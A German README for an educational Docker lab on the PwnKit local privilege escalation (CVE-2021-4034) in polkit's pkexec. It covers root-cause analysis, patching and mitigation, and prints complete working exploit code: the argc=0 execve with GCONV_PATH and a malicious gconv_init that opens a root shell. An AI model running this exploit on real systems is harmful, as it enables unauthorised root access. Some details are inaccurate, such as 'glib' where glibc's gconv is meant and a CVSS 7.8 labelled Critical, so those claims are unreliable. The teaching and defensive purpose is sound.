
# Bildungs-PoC und Analyse der lokalen Privilege-Escalation-Schwachstelle CVE-2021-4034 (PwnKit) in polkits pkexec, mit einem Docker-basierten Labor für praktische Übungen zu Exploitation und Defense.
🔗 Originalprojekt: berdav/CVE-2021-4034
Dieses Projekt ist eine auf Basis des Originals für Bildungszwecke analysierte und modifizierte Version.
MIT-Lizenz konform | White Hat School Bildungsaufgabe
CVE-2021-4034 ist eine Schwachstelle zur lokalen Rechteausweitung im Linux-policykit-1 (PolicyKit). Ein normaler Benutzer kann pkexec ohne Argumente ausführen und dabei eine Schwachstelle in der Prozessspeicherstruktur ausnutzen. Dadurch wird glib dazu gebracht, Umgebungsvariablen-Strings, die eigentlich hätten herausgefiltert werden müssen, erneut zu referenzieren und eine bösartige .so-Datei zu laden – auf diese Weise können root-Rechte erlangt werden.
⚠️ Nur für Bildungszwecke: Dieser Code darf ausschließlich auf modifizierten Systemen verwendet werden.
Ein Einsatz zum Angriff auf reale Systeme kann rechtliche Konsequenzen haben.
Man könnte leicht annehmen, es handle sich um ein reines Ubuntu-Problem, doch da es sich um einen Logikfehler in pkexec selbst handelt, sind die meisten Distributionen betroffen, die polkit verwenden. Da die Docker-Testumgebung Ubuntu 20.04 ist, wurde diese Version in der obigen Tabelle mit aufgeführt.
Bei der ersten Analyse dachte ich, es sei ein Problem, das dadurch entsteht, dass Umgebungsvariablen nicht validiert werden. Als ich mir jedoch den Quellcode zusammen mit dem Patch-Commit ansah, wurde klar, dass die Reihenfolge eine etwas andere ist. Die eigentliche Ursache liegt woanders; das Umgebungsvariablen-Problem ist eher eine Folge dieser Ursache. Im Folgenden ist dieser Ablauf in der Reihenfolge der Ursachen zusammengefasst.
pkexec ist ein SUID-root-Programm, das über PolicyKit eine Rechteausweitung anfordert.
# Beispiel: Befehl mit root-Rechten ausführen
pkexec /bin/id
pkexec systemctl restart service
Es wird verwendet, wenn ein normaler Benutzer bestimmte Aufgaben mit Administratorrechten ausführen möchte.
argc == 0 nicht als SonderfallDie main()-Funktion von pkexec validiert in dem Teil, der die Befehlszeilenargumente verarbeitet, den Fall, dass das Programm ohne ein einziges Argument ausgeführt wird (argc == 0), nicht. Das ist der eigentliche Ausgangspunkt dieser Schwachstelle.
argv = {"pkexec", "Befehl", NULL} → argc >= 1execve("/usr/bin/pkexec", {NULL}, env) → argc == 0Wenn argc 0 ist, bleibt in der argv-Liste nur ein NULL als Abschluss übrig. Die interne Logik von pkexec versucht jedoch auch in dieser Situation, auf das nicht vorhandene argv[1] lesend und schreibend zuzugreifen. Das Problem ist, dass Linux beim Ausführen eines Prozesses das argv-Array und das envp-Array (Umgebungsvariablen) im Speicher direkt nebeneinander platziert. Dadurch zeigt das außerhalb des gültigen Bereichs liegende argv[1] tatsächlich auf envp[0], also auf die erste Umgebungsvariable.
Normale Situation: argv = [ "pkexec" | NULL ]
Angriffssituation: argv = [ NULL ] ← argc = 0
↑
Zugriff auf nicht vorhandenes argv[1]
↓
liest und schreibt envp[0] direkt dahinter im Speicher (out-of-bounds)
Warum ist das gefährlich?
GCONV_PATH oder LD_PRELOAD, da diese als unsicher eingestuft werden.argc < 1 sofort beendet. (Entspricht CWE-125 Out-of-Bounds Read und CWE-787 Out-of-Bounds Write)📌 Zusammengefasst: Die fehlende Validierung der Umgebungsvariablen ist die „Bedingung, unter der der Angriff funktioniert"; die eigentliche Schwachstelle (Root Cause) ist, dass pkexec den Fall argc == 0 nicht behandelt. Punkt 3 unten ist die Folge dieser Ursache.
Dank der unter Punkt 2 beschriebenen OOB-Operation wird dieser String beim Initialisierungsprozess von glib durch pkexec unvalidiert erneut verwendet.
// CVE-2021-4034_exploit.c
char * const env[] = {
"GCONV_PATH=.", // hätte eigentlich von ld.so herausgefiltert werden müssen
"CHARSET=PWNKIT", // nicht existierende Kodierung
};
execve("/usr/bin/pkexec", args, env); // argv wird leer gelassen, um argc=0 zu erzeugen
Problem:
Wichtig hierbei ist, dass glib selbst nichts falsch gemacht hat. Wenn GCONV_PATH gesetzt ist, ist die Suche nach dem Converter in diesem Pfad das normale Verhalten von glib. Das Problem ist, dass pkexec den Secure-Execution-Zustand (den Zustand, in dem gefährliche Umgebungsvariablen entfernt wurden) bereits zerstört hat – glib hat lediglich normal funktioniert, und genau dieses normale Verhalten wird ausgenutzt.
CHARSET-Umgebungsvariable prüfen
CHARSET=PWNKIT
Converter-Definition in der Datei gconv-modules suchen
module UTF-8// PWNKIT// pwnkit 1
.so-Datei über GCONV_PATH laden
GCONV_PATH=. → pwnkit.so im aktuellen Verzeichnis suchen
Initialisierungsfunktion der .so-Datei wird automatisch ausgeführt
// pwnkit.c – wird beim Laden der .so-Datei automatisch ausgeführt
void gconv_init(void *step)
{
setuid(0); // root-Rechte erlangen
setgid(0);
execve("/bin/sh"); // root-Shell starten!
}
Man ist versucht, gconv_init als „Konstruktorfunktion" zu bezeichnen, doch streng genommen unterscheidet sie sich von __attribute__((constructor)) in C. Genauer gesagt handelt es sich um eine im gconv-Modulinterface definierte Initialisierungsfunktion, die glib nach dem Laden der .so-Datei per dlopen explizit aufruft.
┌──────────────────────────────────────────┐
│ Normaler Benutzer (uid=1000) │
└──────────────────────────────────────────┘
│
│ 1. pkexec mit leerem argv ausführen (argc=0)
│ + bösartige Umgebungsvariablen setzen
│ GCONV_PATH=. / CHARSET=PWNKIT
↓
┌───────────────────────────────────────────────────────────────┐
│ pkexec wird ausgeführt │
│ argc ungeprüft → OOB → String erneut referenziert │
└───────────────────────────────────────────────────────────────┘
│
│ 2. glib verarbeitet es wie im normalen Betrieb
│ sucht Kodierung für CHARSET=PWNKIT
│ findet Converter unter GCONV_PATH=.
↓
┌────────────────────────────────────────────────────────────┐
│ pwnkit.so wird geladen │
│ (bösartige .so-Datei im aktuellen Verzeichnis) │
└────────────────────────────────────────────────────────────┘
│
│ 3. gconv-Initialisierungsfunktion wird automatisch ausgeführt (root-Rechte!)
↓
┌──────────────────────────┐
│ root-Shell erlangt ✅ │
│ uid=0(root) gid=0(root) │
└──────────────────────────┘
# 1. Projekt herunterladen
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034
# 2. Neueste Version prüfen
git pull origin main
# 3. Build (ohne Cache)
docker compose build --no-cache
# 4. Ausführen
docker compose up
Ich empfehle, docker system prune -a --volumes --force nur dann zu verwenden, wenn der Cache oder die Volumes beschädigt sind und die oben genannte Methode nicht funktioniert. Es ist ein ziemlich aggressiver Befehl, der den gesamten Docker-Cache des Systems löscht – dabei können auch Caches anderer Projekte mit verloren gehen. Die entsprechenden Inhalte sind weiter unten unter „Aufgetretene Probleme und Lösungen" separat dokumentiert.
pwnkit | Aktuelle Rechte (vor dem Angriff): uid=1000(WHS4_student)
pwnkit | # id
pwnkit | uid=0(root) gid=0(root) groups=0(root) ← Erfolg! ✅

WHS4_CVE-2021-4034/
├── docker-compose.yml # Docker-Compose-Konfiguration
├── Dockerfile # Verwundbare Ubuntu-20.04-Umgebung
├── start.sh # Container-Initialisierung und automatische Ausführung
├── Makefile # Build-Konfiguration
├── CVE-2021-4034_exploit.c # Exploit-Code (pkexec-Aufruf)
├── pwnkit.c # Bösartige .so-Datei (Rechteausweitung)
├── gconv-modules # glib-Converter-Zuordnung
├── README.md # Diese Datei
└── LICENSE # MIT-Lizenz
#include <unistd.h>
int main(int argc, char *argv[])
{
// pkexec wird kein auszuführendes Programm übergeben
// (in args ist nur NULL) → genau das erzeugt argc=0
char * const args[] = {
NULL
};
// 🔴 Nicht validierte, bösartige Umgebungsvariablen
// Dank der OOB durch argc=0 wieder referenzierbar und unverändert an pkexec übergeben
char * const env[] = {
"GCONV_PATH=.", // Converter-Pfad (aktuelles Verzeichnis)
"CHARSET=PWNKIT", // nicht existierende Kodierung
"SHELL=/bin/sh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// pkexec ausführen (ohne Argumente → argc=0 auslösen)
execve("/usr/bin/pkexec", args, env);
return 0;
}
Kernpunkte:
args wird nicht einmal der Name pkexec selbst gesetzt, sodass argc 0 wird → löst die Grundursache (fehlende argc-Validierung) ausGCONV_PATH=. : Nachdem es durch OOB wieder referenzierbar wurde, sucht glib in diesem Pfad nach dem ConverterCHARSET=PWNKIT : veranlasst glib, den Converter für diese Kodierung zu suchen#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// Funktion, damit die .so-Datei als Converter erkannt wird (formal erforderlich)
void gconv()
{
}
// 🎯 Kern von CVE-2021-4034
// Initialisierungsfunktion, die glib nach dem dlopen beim Laden der .so-Datei explizit aufruft
// Diese Funktion wird mit root-Rechten ausgeführt! ← Kernschwachstelle!
void gconv_init(void *step)
{
char * const args[] = {
"/bin/sh", // root-Shell ausführen
NULL
};
char * const env[] = {
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// root-Rechte explizit setzen (bereits root)
setuid(0);
setgid(0);
// root-Shell ausführen ← Rechteausweitung erfolgreich!
execve(args[0], args, env);
exit(0);
}
Kernpunkte:
gconv_init() ist kein C-Constructor-Attribut, sondern eine Initialisierungsfunktion, die glib gemäß der gconv-Modulinterface-Spezifikation nach dlopen direkt aufruftsetuid(0) eine Shell ausführt, erhält man direkt eine root-Shell$ id
uid=1000(WHS4_student) gid=1000(WHS4_student) groups=1000(WHS4_student),27(sudo)
$ cat /etc/shadow
cat: /etc/shadow: Permission denied

Dieser Screenshot stammt vom ersten erfolgreichen Exploit; oben sind die Benutzerrechte zu sehen.
$ ./CVE-2021-4034_exploit
Hinweis: Der Exploit selbst benötigt kein sudo. Da pkexec bereits ein SUID-root-Binary ist, besteht der Kern dieser Schwachstelle darin, mit bloßen normalen Benutzerrechten eine root-Shell zu erlangen. In der Docker-Testumgebung wurde gelegentlich
sudo -Everwendet; das diente jedoch nur der Ausführungsbequemlichkeit zum Prüfen der NOPASSWD-Konfiguration und steht in keinem Zusammenhang mit der Schwachstelle selbst.
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /etc/shadow
root:*:18783:0:99999:7:::
daemon:*:18783:0:99999:7:::
... (Inhalt, der nur für root sichtbar ist)

Oben ist zu sehen, dass nach dem tatsächlichen Angriff root-Rechte erlangt wurden.
Wer den gesamten Ablauf vor und nach dem Angriff sehen möchte, dem sei das Bild im Abschnitt ### Tatsächliche Rechte vor dem Angriff empfohlen.
✅ Rechteausweitung erfolgreich!
Erfolgreich in einer Docker-Umgebung auf Basis von Ubuntu 20.04 reproduziert (policykit-1 0.105-26ubuntu1). Da die Anzahl der Wiederholungstests noch gering ist, sollen weitere Durchläufe mit verschiedenen Kernel- und Distributionsversionen erfolgen und die Ergebnisse ergänzt werden.
# 1. Patch-Upgrade (empfohlen)
sudo apt-get update
sudo apt-get install policykit-1=0.105-26ubuntu1.1
# Version prüfen
dpkg -l | grep policykit-1
# muss 0.105-26ubuntu1.1 oder neuer sein
# /etc/sudoers bearbeiten (sudo visudo)
Defaults env_delete = "GCONV_PATH,GCONV_MODULES,CHARSET"
unset GCONV_PATH
unset GCONV_MODULES
unset CHARSET
Der Patch ist die eigentliche Lösung; die beiden oben genannten Maßnahmen sind eher Übergangslösungen, die bis zum Patch verwendet werden können. Die argc-Validierung selbst ist ein Problem, das nur durch eine Korrektur des pkexec-Codes behoben werden kann – allein das Blockieren der Umgebungsvariablen verhindert den Angriff nicht vollständig.
docker-compose nicht gefundenUrsache: Unter Ubuntu 24.04 gibt es kein docker-compose (v1), sondern nur docker compose (v2)
Lösung:
# docker-compose-Befehl verwenden (v2)
docker compose up
Ursache: Die NOPASSWD-Konfiguration in der Dockerfile wurde nicht korrekt übernommen (Docker-Cache-Problem)
Lösung:
docker compose build --no-cache
docker compose up
Falls das weiterhin nicht funktioniert, den Cache vollständig löschen und erneut versuchen.
docker compose down -v
docker system prune -a --volumes --force
docker compose up --build --no-cache
Ursache: Die lokalen Dateien bleiben in der alten Version
Lösung:
# Neueste Version von GitHub abrufen
git pull origin main
# Dateien prüfen
cat Dockerfile | grep NOPASSWD
cat start.sh | grep "nofork=false"
# Neu bauen
docker compose up --build --no-cache
Ursache: Ein vorhandener Container ist noch übrig
Lösung:
# Container entfernen
docker compose down
docker rm pwnkit -f
# Erneut ausführen
docker compose up
Ursache: Die in Docker erzeugten Dateien gehören root
Lösung:
# Unter WSL/Linux
sudo rm -rf WHS4_CVE-2021-4034
Autor: krleejihyeong
Neu erstellte/geänderte Teile:
Dieses Projekt steht unter der MIT-Lizenz.
Copyright (c) 2026 krleejihyeong (Bearbeitung und Analyse)
Copyright (c) 2021 berdav (Original-PoC)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
Weitere Einzelheiten finden Sie in der LICENSE-Datei.
Dieses Projekt wurde ausschließlich zu Bildungszwecken erstellt.
Der unbefugte Zugriff auf Computersysteme kann strafrechtlich verfolgt werden.
Letzte Aktualisierung: Juli 2026
| Kategorie | Inhalt |
|---|
| CVE-ID | CVE-2021-4034 |
| Name der Schwachstelle | PwnKit |
| Betroffene Versionen | Alle Versionen von polkit vor 0.105, auf die kein Patch angewendet wurde (Testumgebung: policykit-1 0.105-26ubuntu1 unter Ubuntu 20.04) |
| Schwachstellentyp | Local Privilege Escalation (LPE) |
| Schweregrad | Critical (CVSS 7.8) |
| Patch-Version | policykit-1 >= 0.105-26ubuntu1.1 |
| Entdeckungsdatum | Juni 2021 (veröffentlicht im Januar 2022) |